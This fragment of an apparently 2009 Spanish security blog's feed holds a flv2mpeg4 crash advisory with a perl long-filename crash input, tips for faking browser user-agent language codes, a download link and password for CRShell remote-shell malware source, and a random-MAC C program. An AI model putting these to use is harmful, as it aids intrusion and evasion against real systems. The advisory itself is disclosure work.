puede variar y por su puesto que estas se reportan en ingles.&lt;br clear="all"&gt; &lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4259527936689782555?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4259527936689782555/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4259527936689782555' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4259527936689782555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4259527936689782555'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/como-reportar-vulnerabilidades.html' title='Como reportar vulnerabilidades'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7082678692117116715</id><published>2009-03-08T22:26:00.001-06:00</published><updated>2009-03-08T22:26:31.960-06:00</updated><title type='text'>flv2mpeg4: Malformed parameters Denial of Service</title><content type='html'>&lt;pre&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/flv2mpeg4bug.txt.asc"&gt;flv2mpeg4bug.txt.asc&lt;/a&gt;&lt;br&gt;&lt;br&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br&gt;Hash: SHA1&lt;br&gt;&lt;br&gt;=============================================================================&lt;br&gt; Sun Mar  8 21:06:34 CST 2009        Heuristics and Exploiting Vulnerabilities&lt;br&gt;                                                                 &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;&lt;br&gt;&lt;br&gt;Topic: flv2mpeg4: Malformed parameters Denial of Service&lt;br&gt; &lt;br&gt;======================================================================&lt;br&gt;&lt;br&gt;Table of Contents&lt;br&gt;&lt;br&gt;1- Affected Software.&lt;br&gt;2- Background.&lt;br&gt;3- Problem Description.&lt;br&gt;4- Severity&lt;br&gt;5- Solution&lt;br&gt;6- Time Table&lt;br&gt; 7- Credits&lt;br&gt;8- About &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt;1) Affected Software&lt;br&gt;&lt;br&gt;flv2mpeg4  v1.1&lt;br&gt;&lt;br&gt;Prior versions may also be affected.&lt;br&gt; &lt;br&gt;======================================================================&lt;br&gt;2) Background&lt;br&gt;&lt;br&gt;flv2mpeg4 allows you convert a Flash Video / FLV file (YouTube&amp;#39;s videos,etc)&lt;br&gt;to MPEG4 (AVI/MOV/MP4/MP3/3GP) file online. It is using a compressed domain&lt;br&gt; transcoder technology (outline in Japanese). It converts FLV to MPEG4 faster&lt;br&gt;and less lossy than a typical transcoder.&lt;br&gt;&lt;br&gt;&lt;a href="http://www.freebsd.org/cgi/url.cgi?ports/multimedia/flv2mpeg4/pkg-descr"&gt;http://www.freebsd.org/cgi/url.cgi?ports/multimedia/flv2mpeg4/pkg-descr&lt;/a&gt;&lt;br&gt; &lt;br&gt;======================================================================&lt;br&gt;3) Problem Description&lt;br&gt;&lt;br&gt;As we can see flv2mpeg4 receives 2 parameters the first is expected to be&lt;br&gt;a flv file and second mpeg4 (AVI/MOV/MP4/MP3/3GP), the problem is a clerical&lt;br&gt; error in the parameters or a parameter poorly trained, causing the &lt;br&gt;application to stop running unexpectedly&lt;br&gt;&lt;br&gt;for example:&lt;br&gt;&lt;br&gt;Anon@localhost % flv2mpeg4 Video.flv Video.mpg&lt;br&gt;Segmentation fault (core dumped)&lt;br&gt; &lt;br&gt;in this mpg extension is incorrect&lt;br&gt;&lt;br&gt;Anon@localhost % flv2mpeg4 Video.flv `perl -e &amp;#39;{print &amp;quot;A&amp;quot;x4000,&amp;quot;.avi&amp;quot;}&amp;#39;`&lt;br&gt;Segmentation fault (core dumped)&lt;br&gt;	&lt;br&gt;Although the extension is correct in this case, does not allow such a long&lt;br&gt; file name&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt;4) Severity&lt;br&gt;&lt;br&gt;Rating: Very low risk&lt;br&gt;Impact: Denial of service&lt;br&gt;Where: Local&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt; 5) Solution&lt;br&gt;&lt;br&gt;Run flv2mpeg4 done correctly with the parameters in order&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt;6) Time Table&lt;br&gt;&lt;br&gt;22/12/2008 - Vendor notified.&lt;br&gt;23/12/2008 - Vendor response.&lt;br&gt; 08/03/2009 - Public disclosure.&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt;7) Credits&lt;br&gt;&lt;br&gt;Discovered by Anon, &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;&lt;br&gt;&lt;br&gt;======================================================================&lt;br&gt; 8) About &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;&lt;br&gt;&lt;br&gt;Overall objective of the forum &lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt;&lt;br&gt;Promote research and encourage the dissemination of knowledge by providing&lt;br&gt; a means of information, protecting and fighting for their freedom.&lt;br&gt;&lt;br&gt;Subforum Heuristics and exploitation of vulnerabilities.&lt;br&gt;Following the overall objective of the forum, subforum Heuristics and &lt;br&gt;exploitation of vulnerabilities (Bugs and Exploits), aims at promoting &lt;br&gt; research into techniques for detection and exploitation of vulnerabilities&lt;br&gt;in any operating system or program that might allow the execution of &lt;br&gt;arbitrary code, or any other means which violate the confidentiality,&lt;br&gt; integrity, or availability of information.&lt;br&gt;&lt;br&gt;&lt;a href="http://foro.elhacker.net/"&gt;http://foro.elhacker.net/&lt;/a&gt;&lt;br&gt;&lt;a href="http://foro.elhacker.net/bugs_y_exploits-b32.0/"&gt;http://foro.elhacker.net/bugs_y_exploits-b32.0/&lt;/a&gt;&lt;br&gt; &lt;br&gt;=============================================================================&lt;br&gt;-----BEGIN PGP SIGNATURE-----&lt;br&gt;Version: GnuPG v1.4.9 (FreeBSD)&lt;br&gt;&lt;br&gt;iEYEARECAAYFAkm0mE4ACgkQd963iVkvICn7GQCeIonHNhFV/pdu7uvuZG4ucq+A&lt;br&gt; lMEAoIEDL8JsG1mbb2RrAutEN2TaXs/5&lt;br&gt;=mi4f&lt;br&gt;-----END PGP SIGNATURE-----&lt;br&gt;-- &lt;br&gt;&lt;/pre&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7082678692117116715?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7082678692117116715/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7082678692117116715' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7082678692117116715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7082678692117116715'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/flv2mpeg4-malformed-parameters-denial.html' title='flv2mpeg4: Malformed parameters Denial of Service'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-9153904308411369217</id><published>2009-03-08T17:57:00.001-06:00</published><updated>2009-03-08T17:57:15.906-06:00</updated><title type='text'>Mas sobre el User Agent: Idioma-Pais</title><content type='html'>Con firefox aunque cambiemos el user agent también es importante cambiar el Idioma-Pais por ejemplo ahorita uno muy comun de firefox:&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;Mozilla/5.0 (Windows; U; Windows NT 6.0; &lt;b&gt;es-ES&lt;/b&gt;; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6&lt;/font&gt;&lt;br&gt; &lt;br&gt;Vemos que &lt;b&gt;es-ES&lt;/b&gt; se refiere a español españa y hay otros de &lt;b&gt;es-AR&lt;/b&gt; de Argentina, que raro no he visto es-MX pero bueno, podriamos porner algo muy lejano de nosotros e incluso inexistene solo para confundir.&lt;br&gt; &lt;br&gt;Sin embargo hay que tomar en cuenta que si es inexistente se puede llegar a sospechar la falsedad del User-Agent.&lt;br&gt;&lt;br&gt;He aqui la lista de las Abreviaciones Idioma-Pais que he llegado a capturar:&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;en-US&lt;/b&gt; Estados Unidos&lt;br&gt; &lt;/li&gt;&lt;li&gt;&lt;b&gt;en-GB&lt;/b&gt; Gran Bretaña&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;pt-BR&lt;/b&gt; Brazil&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;es-ES&lt;/b&gt; España&lt;br&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;es-AR&lt;/b&gt; Argentina&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;¿Algun otro que conoscan? paraa agregar a la lista, de preferencia alguno Ruso, Koreano, Chino, Indio, Afgano, en Fin Asiatico, y Medio Oriente u Norte de Europa.&lt;br&gt; &lt;br&gt;Saludos&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-9153904308411369217?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/9153904308411369217/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=9153904308411369217' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/9153904308411369217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/9153904308411369217'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/mas-sobre-el-user-agent-idioma-pais.html' title='Mas sobre el User Agent: Idioma-Pais'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-1542631265164455183</id><published>2009-03-08T17:14:00.001-06:00</published><updated>2009-03-08T17:14:48.514-06:00</updated><title type='text'>CRShell Source Code</title><content type='html'>Archivo: &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/CRShell.tar.bz2.gpg"&gt;CRShell Source Code&lt;/a&gt;&lt;br&gt;Password: 3I0VNE0Vcx4&lt;br&gt;&lt;br&gt;Bueno, en alguna ocasión un compañero lo estaba buscando y no daba con el buscando en google lo encontré junto con un directorio lleno de otros malwares y pues aquí lo tienen.&lt;br&gt; &lt;br&gt;Dejo a continuación parte de los archivos de Información&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;font size="1"&gt;CRShell&lt;br&gt;&lt;br&gt;Programado por XpyXt&lt;br&gt;&lt;br&gt;URL: &lt;a href="http://xpyxt.no-ip.com"&gt;http://xpyxt.no-ip.com&lt;/a&gt;&lt;br&gt;URL2: &lt;a href="http://xpyxt.no-ip.info/crshell"&gt;http://xpyxt.no-ip.info/crshell&lt;/a&gt;&lt;br&gt; &lt;br&gt;Mail: &lt;a href="mailto:xpyxt@desdeinter.net"&gt;xpyxt@desdeinter.net&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Informacion del contenido&lt;br&gt;&lt;br&gt;- Directorio /Cliente Linux&lt;br&gt;Contiene el codigo fuente del cliente para linux&lt;br&gt;Para compilar con GCC&lt;br&gt; &lt;br&gt;- Directorio /Cliente Windows&lt;br&gt;Contiene el codigo fuente del cliente para Windows&lt;br&gt;Para compilar con Visual C++ 6.0&lt;br&gt;&lt;br&gt;- Directorio /Editor Linux&lt;br&gt;Contiene el codigo fuente del editor para linux&lt;br&gt;Para compilar con GCC&lt;br&gt; &lt;br&gt;- Directorio /Editor Windows&lt;br&gt;Contiene el codigo fuente del editor para Windows&lt;br&gt;Para compilar con Visual C++ 6.0&lt;br&gt;&lt;br&gt;- Directorio /Servidor w2k&lt;br&gt;Contiene el codigo fuente del servidor para Windows 2000&lt;br&gt;Version del servidor 1.0&lt;br&gt; Para compilar con Visual C++ 6.0&lt;br&gt;&lt;br&gt;&lt;br&gt;- Directorio /Servidor w2k w2k3&lt;br&gt;Contiene el codigo fuente del servidor para Windows 2000 y Windows 2003&lt;br&gt;Version del servidor 1.1&lt;br&gt;Para compilar con Visual C++ 6.0&lt;br&gt;&lt;br&gt; -[ Version 1.1 ]-&lt;br&gt;&lt;br&gt;Servidor: &lt;br&gt; + Funcional con Windows 2003&lt;br&gt; = Funcional en Windows 2000&lt;br&gt; = Parametro de ayuda crshell.exe --help&lt;br&gt; + Continuas en donde anteriormente te habias quedado en el CMD&lt;br&gt; - Cada vez que te conectas crea un redireccion del CMD&lt;br&gt; &lt;br&gt;-[ Version 1.0 ]-&lt;br&gt;&lt;br&gt;Servidor:&lt;br&gt; + Funcional en Windows 2000&lt;br&gt; + Parametro de ayuda crshell.exe --help    &lt;br&gt; + Cada vez que te conectas crea un redireccion del CMD&lt;br&gt;Cliente:&lt;br&gt; + Conexion simple \r\n&lt;br&gt;Editor&lt;br&gt;  + Lee el servidor&lt;br&gt; + Configura el servidor&lt;br&gt;&lt;br&gt;Leyenda&lt;br&gt; + Funcion nueva&lt;br&gt; - Funcion quitada&lt;br&gt; = Funcion en anterior version&lt;br&gt;&lt;br&gt;&lt;br&gt;1- CRShell es un programa que es distribuido bajo los términos de la Licencia Publica General (GPL)&lt;br&gt; &lt;br&gt;2- La copia de cualquier parte del código para ponerlo en otro programa diferente, el autor de dicho programa esta acuerdo en que el código completo de su programa pase a ser software libre, por lo debera estar apegado a los terminos establecidos por la licencia GPL.&lt;br&gt; &lt;br&gt;Es decir que, el código de CRShell solo puede ser tomado si se va a usar en otro proyecto de software libre. De lo contrario absténgase de usar el código.&lt;br&gt;&lt;br&gt;3- Tu no has programado ni una linea de este código, no te lo apropies, no te adjudiques méritos que no tienes.&lt;br&gt; &lt;/font&gt;&lt;br&gt;Espero y les sirva&lt;br&gt;&lt;br&gt;Saludos.&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-1542631265164455183?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/1542631265164455183/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=1542631265164455183' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1542631265164455183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/1542631265164455183'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/crshell-source-code.html' title='CRShell Source Code'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4448447336664834362</id><published>2009-03-08T12:21:00.001-06:00</published><updated>2009-03-08T12:21:48.782-06:00</updated><title type='text'>MAC Address Random</title><content type='html'>Bueno e aqui un sencillo codogp en C para generar MAC Address Random:&lt;br&gt;&lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/macRandom.c" target="_blank" class="posted"&gt;&lt;b&gt;macRandom.c&lt;/b&gt;&lt;/a&gt;&lt;br&gt; &lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;      &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;long&lt;/span&gt; mac&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;register&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;t &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&lt;/span&gt;mac;&lt;br&gt;         srandomdev&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;        mac&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; random&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         mac&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; random&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         &lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%x:%x:%x:%x:%x:%x&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,t&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Después de compilarlo y ejecutarlo:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt; Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# gcc -o macRandom macRandom.c&lt;/span&gt;&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ./macRandom &lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;86&lt;/span&gt;:1e:&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;cc&lt;/span&gt;:&lt;span style="color: rgb(0, 0, 0);"&gt;23&lt;/span&gt;:d4:&lt;span style="color: rgb(0, 0, 0);"&gt;6&lt;/span&gt;&lt;br&gt; &lt;/pre&gt;&lt;br&gt; Vemos la salida de las direcciones mac Aleatorias con las cuales podemos configurar nuestra interfaz de red para que cada vez que nos conectemos tengamos una dirección &amp;quot;Física&amp;quot; Diferente.&lt;br&gt;&lt;br&gt;En mi caso con FreeBSD se realiza así:&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Anon@localhost# ifconfig wpi0 ether `./macRandom `&lt;br&gt;&lt;/div&gt; &lt;br&gt;Donde wpi0 se cambia por la interfaz que sea de tu sistema, y el resultado:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ifconfig wpi0&lt;/span&gt;&lt;br&gt; wpi0: &lt;span style="color: rgb(0, 120, 0);"&gt;flags=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;8802&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;BROADCAST,SIMPLEX,MULTICAST&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt; metric &lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt; mtu &lt;span style="color: rgb(0, 0, 0);"&gt;1500&lt;/span&gt;&lt;br&gt; 	ether &lt;span style="color: rgb(0, 0, 0);"&gt;34&lt;/span&gt;:5d:e8:&lt;span style="color: rgb(0, 0, 0);"&gt;74&lt;/span&gt;:e9:&lt;span style="color: rgb(0, 0, 0);"&gt;41&lt;/span&gt;&lt;br&gt;	media: IEEE &lt;span style="color: rgb(0, 0, 0);"&gt;802.11&lt;/span&gt; Wireless Ethernet autoselect &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;autoselect&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br&gt; 	status: no carrier&lt;br&gt;	ssid &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&amp;quot;&lt;/span&gt; channel &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2412&lt;/span&gt; Mhz 11b&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br&gt; 	authmode OPEN privacy OFF txpower &lt;span style="color: rgb(0, 0, 0);"&gt;50&lt;/span&gt; bmiss &lt;span style="color: rgb(0, 0, 0);"&gt;7&lt;/span&gt; scanvalid &lt;span style="color: rgb(0, 0, 0);"&gt;60&lt;/span&gt; bintval &lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt; Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ifconfig wpi0 ether `./macRandom `&lt;/span&gt;&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# ifconfig wpi0&lt;/span&gt;&lt;br&gt; wpi0: &lt;span style="color: rgb(0, 120, 0);"&gt;flags=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;8802&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;BROADCAST,SIMPLEX,MULTICAST&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt; metric &lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt; mtu &lt;span style="color: rgb(0, 0, 0);"&gt;1500&lt;/span&gt;&lt;br&gt; 	ether 4c:1e:0f:5e:a6:c2&lt;br&gt;	media: IEEE &lt;span style="color: rgb(0, 0, 0);"&gt;802.11&lt;/span&gt; Wireless Ethernet autoselect &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;autoselect&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br&gt; 	status: no carrier&lt;br&gt;	ssid &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&amp;quot;&lt;/span&gt; channel &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2412&lt;/span&gt; Mhz 11b&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;br&gt; 	authmode OPEN privacy OFF txpower &lt;span style="color: rgb(0, 0, 0);"&gt;50&lt;/span&gt; bmiss &lt;span style="color: rgb(0, 0, 0);"&gt;7&lt;/span&gt; scanvalid &lt;span style="color: rgb(0, 0, 0);"&gt;60&lt;/span&gt; bintval &lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt;  &lt;br&gt; &lt;/pre&gt;&lt;br&gt;Mirar que cambio la Dirección &amp;quot;Física&amp;quot;.&lt;br&gt;&lt;br&gt;Saludos. 				&lt;br&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4448447336664834362?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4448447336664834362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4448447336664834362' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4448447336664834362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4448447336664834362'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/mac-address-random.html' title='MAC Address Random'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 